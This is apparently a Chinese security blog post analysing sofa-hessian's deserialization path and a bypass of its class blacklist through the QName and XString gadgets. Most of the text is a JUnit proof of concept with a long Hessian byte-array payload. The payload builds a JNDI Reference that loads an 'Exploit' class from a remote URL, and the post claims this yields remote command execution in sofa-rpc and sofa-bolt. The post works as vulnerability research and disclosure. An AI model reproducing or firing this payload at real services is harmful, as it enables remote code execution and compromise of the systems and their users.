背景
笔者注意到https://github.com/alipay/sofa-hessian 提到了安全相关:
直觉告诉我在实际工作中建设总比破坏更难,总有业务团队和安全团队分工时存在对于修复方案的判断不一致的情况,尤其是反序列类的漏洞,建议不要采用黑名单类的修复方式。猜测一般合作模式大致是蚂蚁金服团队提供高危类的黑名单,业务研发提供一套代码引用加载机制,安全团队审核效果确认漏洞修复状态,再经过一段回归测试发布release版本。这里会有两个有趣的场景,1、对于黑名单内出现的新的gadget存在时间差导致更新不及时;业务hessian触发点的内容沟通不足理解不透存在被绕过的可能。
漏洞分析
反序列化过程
1、使用InputStream构造AbstractHessianInput对象
2、调用AbstractHessianInput.readReply(ClassexpectedClass)读取一个响应对象
3、如果tag='R',调用readObject(Class cl)读取一个对象
4、readObjectDefinition(Class<?>cl)读取一个对象定义 4.1、SerializerFactory.getObjectDeserializer(Stringtype, Class cl)获取一个反序列化器,如果cl为null 或 cl和序列化器支持的类型一致等情况直接使用该反序列化器 4.1.1、SerializerFactory.getObjectDeserializer(Stringtype)获取一个反序列化器 4.1.1.1、SerializerFactory.getDeserializer(Stringtype)获取一个反序列化器 4.1.1.1.1、如果type为[开头,就构造一个数组反序列化器,数组内容,使用type.substring(1),作为参数调用本方法获取。 4.1.1.1.2、否则通过反射Class.forName得到type对应的实体类,然后使用得到的实体类调用SerializerFactory.getDeserializer(Classcl)获取一个反序列化器 4.2、如果4.1.1得到的反序列化器不符合要求,就调用SerializerFactory.getDeserializer(Classcl)获取一个反序列化器 4.2.1、调用SerializerFactory.loadDeserializer(Classcl)获取一个反序列化器 4.2.1.1、遍历 SerializerFactory._factories(自行添加的序列化器工厂),如果有一个工厂提供目标类的反序列化器,就采用该工厂提供的反序列化器 4.2.1.2、调用 SerializerFactory 初始化时构造的上下文序列化工厂 ContextSerializerFactory.getDeserializer(StringclassName) 查询序反列化器,如果找到,就采用 4.2.1.3、使用目标类的类加载器构造 ContextSerializerFactory,并通过该序列化工厂的getCustomDeserializer()查询序列化器,如果找到,就采用 4.2.1.4、Collection、Map、Iterator、Annotation、Interface(使用ObjectDeserializer)、Array、Enumeration、Enum、Class都有内置对应的反序列化器 4.2.1.5、调用SerializerFactory.getDefaultDeserializer(Classcl)返回默认的序列化器 4.2.1.5.1、如果目标类型为InputStream,使用InputStreamDeserializer.DESER作为反序列化器 4.2.1.5.2、如果启用了不安全的序列化器,使用UnsafeDeserializer(cl) 4.2.1.5.2.1、如果目标类型有名为readResolve的无参方法,标记_readResolve.setAccessible(true)4.2.1.5.3、否则,使用JavaDeserializer(cl) 4.2.1.5.3.1、如果目标类型有名为readResolve的无参方法,标记_readResolve.setAccessible(true)
5、readObjectInstance(Class<?>cl, ObjectDefinition def)根据上一步的结果读取一个对象实例。
看下commit记录,https://codecov.io/gh/alipay/sofa-hessian/pull/8/diff?src=pr&el=tree#diff-c3JjL21haW4vamF2YS9jb20vY2F1Y2hvL2hlc3NpYW4vaW8vSGVzc2lhbjJJbnB1dC5qYXZh
发现最早的一次拦截修复思路果然是错误的,当时使用了类似https://github.com/ikkisoft/SerialKiller/blob/master/config/serialkiller.conf的方案,其实这是基于java反序列漏洞利用方式。后来最新修改的才是hessian的利用姿势。我们关注最新的文件内容:
https://github.com/alipay/sofa-hessian/commit/80fd8f3b0826ef958107285b45cb85d962b13f62
整体修复实现方法还是可圈可点值得赏析的,通过ClassNameResolver配置filter的方式。
默认为com.alipay.hessian.internal.InternalNameBlackListFilter,读取反序列化之后的type为className进行判断。具体细节实现了一套很好的缓存ConcurrentLinkedHashMap机制提高效率,而且用startwith比equels高效和准确,值得学习。
利用方式
但是黑名单没有添加com.caucho.naming.QName和com.sun.org.apache.xpath.internal.objects.XString,存在继续利用的情况。以下面的poc为例(项目添加使用了com.caucho.quercus包)。
static SerializerFactory serializerFactory;
@BeforeClass
public static void init() {
NameBlackListFilter filter = new MockNameBlacklistFilter();
ClassNameResolver resolver = new ClassNameResolver();
resolver.addFilter(filter);
resolver.addFilter(new InternalNameBlackListFilter());
serializerFactory = new SerializerFactory();
serializerFactory.setClassNameResolver(resolver);
}
@Test
public void testMapDeserialize() throws IOException {
byte[] bs = new byte[]{77, 116, 0, 0, 77, 116, 0, 23, 99, 111, 109, 46, 99, 97, 117, 99, 104, 111, 46, 110, 97, 109, 105, 110, 103, 46, 81, 78, 97, 109, 101, 83, 0, 8, 95, 99, 111, 110, 116, 101, 120, 116, 77, 116, 0, 39, 106, 97, 118, 97, 120, 46, 110, 97, 109, 105, 110, 103, 46, 115, 112, 105, 46, 67, 111, 110, 116, 105, 110, 117, 97, 116, 105, 111, 110, 68, 105, 114, 67, 111, 110, 116, 101, 120, 116, 83, 0, 3, 99, 112, 101, 77, 116, 0, 35, 106, 97, 118, 97, 120, 46, 110, 97, 109, 105, 110, 103, 46, 67, 97, 110, 110, 111, 116, 80, 114, 111, 99, 101, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 83, 0, 13, 114, 111, 111, 116, 69, 120, 99, 101, 112, 116, 105, 111, 110, 78, 83, 0, 13, 100, 101, 116, 97, 105, 108, 77, 101, 115, 115, 97, 103, 101, 78, 83, 0, 5, 99, 97, 117, 115, 101, 78, 83, 0, 16, 114, 101, 109, 97, 105, 110, 105, 110, 103, 78, 101, 119, 78, 97, 109, 101, 78, 83, 0, 11, 101, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 78, 83, 0, 7, 97, 108, 116, 78, 97, 109, 101, 78, 83, 0, 10, 97, 108, 116, 78, 97, 109, 101, 67, 116, 120, 78, 83, 0, 12, 114, 101, 115, 111, 108, 118, 101, 100, 78, 97, 109, 101, 78, 83, 0, 11, 114, 101, 115, 111, 108, 118, 101, 100, 79, 98, 106, 77, 116, 0, 22, 106, 97, 118, 97, 120, 46, 110, 97, 109, 105, 110, 103, 46, 82, 101, 102, 101, 114, 101, 110, 99, 101, 83, 0, 9, 99, 108, 97, 115, 115, 78, 97, 109, 101, 83, 0, 3, 70, 111, 111, 83, 0, 12, 99, 108, 97, 115, 115, 70, 97, 99, 116, 111, 114, 121, 83, 0, 7, 69, 120, 112, 108, 111, 105, 116, 83, 0, 20, 99, 108, 97, 115, 115, 70, 97, 99, 116, 111, 114, 121, 76, 111, 99, 97, 116, 105, 111, 110, 83, 0, 22, 104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 57, 57, 57, 57, 47, 83, 0, 5, 97, 100, 100, 114, 115, 86, 116, 0, 16, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 86, 101, 99, 116, 111, 114, 108, 0, 0, 0, 0, 122, 122, 83, 0, 13, 114, 101, 109, 97, 105, 110, 105, 110, 103, 78, 97, 109, 101, 78, 83, 0, 10, 115, 116, 97, 99, 107, 84, 114, 97, 99, 101, 86, 116, 0, 28, 91, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 108, 0, 0, 0, 9, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 24, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 103, 97, 100, 103, 101, 116, 115, 46, 82, 101, 115, 105, 110, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 14, 109, 97, 107, 101, 82, 101, 115, 105, 110, 81, 78, 97, 109, 101, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 10, 82, 101, 115, 105, 110, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 56, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 36, 115, 117, 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 78, 97, 116, 105, 118, 101, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 7, 105, 110, 118, 111, 107, 101, 48, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 29, 78, 97, 116, 105, 118, 101, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, -1, -1, -1, -2, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 36, 115, 117, 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 78, 97, 116, 105, 118, 101, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 6, 105, 110, 118, 111, 107, 101, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 29, 78, 97, 116, 105, 118, 101, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 62, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 40, 115, 117, 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 68, 101, 108, 101, 103, 97, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 6, 105, 110, 118, 111, 107, 101, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 33, 68, 101, 108, 101, 103, 97, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 43, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 24, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 114, 101, 102, 108, 101, 99, 116, 46, 77, 101, 116, 104, 111, 100, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 6, 105, 110, 118, 111, 107, 101, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 11, 77, 101, 116, 104, 111, 100, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 1, -14, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 25, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 12, 99, 114, 101, 97, 116, 101, 79, 98, 106, 101, 99, 116, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 19, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 1, 77, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 25, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 5, 100, 111, 82, 117, 110, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 19, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, -91, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 25, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 3, 114, 117, 110, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 19, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 121, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 18, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 72, 101, 115, 115, 105, 97, 110, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 4, 109, 97, 105, 110, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 12, 72, 101, 115, 115, 105, 97, 110, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 64, 122, 122, 83, 0, 20, 115, 117, 112, 112, 114, 101, 115, 115, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 78, 122, 83, 0, 3, 101, 110, 118, 77, 116, 0, 19, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 104, 116, 97, 98, 108, 101, 122, 83, 0, 7, 99, 111, 110, 116, 67, 116, 120, 78, 122, 83, 0, 6, 95, 105, 116, 101, 109, 115, 86, 108, 0, 0, 0, 2, 83, 0, 3, 102, 111, 111, 83, 0, 3, 98, 97, 114, 122, 122, 82, 0, 0, 0, 1, 77, 116, 0, 49, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 112, 97, 116, 104, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 111, 98, 106, 101, 99, 116, 115, 46, 88, 83, 116, 114, 105, 110, 103, 83, 0, 5, 109, 95, 111, 98, 106, 83, 0, 4, -21, -89, -90, 15, 26, 11, 83, 0, 8, 109, 95, 112, 97, 114, 101, 110, 116, 78, 122, 82, 0, 0, 0, 18, 122};
ByteArrayInputStream input = new ByteArrayInputStream(bs, 0, bs.length);
HessianInput hin = new HessianInput(input);
hin.setSerializerFactory(serializerFactory);
try {
hin.readObject();
Assert.fail();
} catch (Exception e) {
e.printStackTrace();
Assert.assertTrue(e instanceof IOException);
}
}
还是可以触发反序列化漏洞:
可以清晰看到调用过程(注意InternalNameBlackLIst和nameBlackListFilter):
影响
sofa-rpc\sofa-bolt远程命令执行漏洞:
如果在Bolt 通信协议的情况下用户没有自定义序列化组件,那么会默认使用软件集成的序列化器-sofa-hessian v3.x。将SOFABolt当做远程通信框架,客户端发送rpc通信协议时可以完成远程调用。我们使用oneway的方式一把梭,这样Client 发送数据给 Server,编解码器负责将字节流解码成 Command 对象,序列化器负责将 Command 对象里的内容反序列化成业务对象时触发漏洞。
网友评论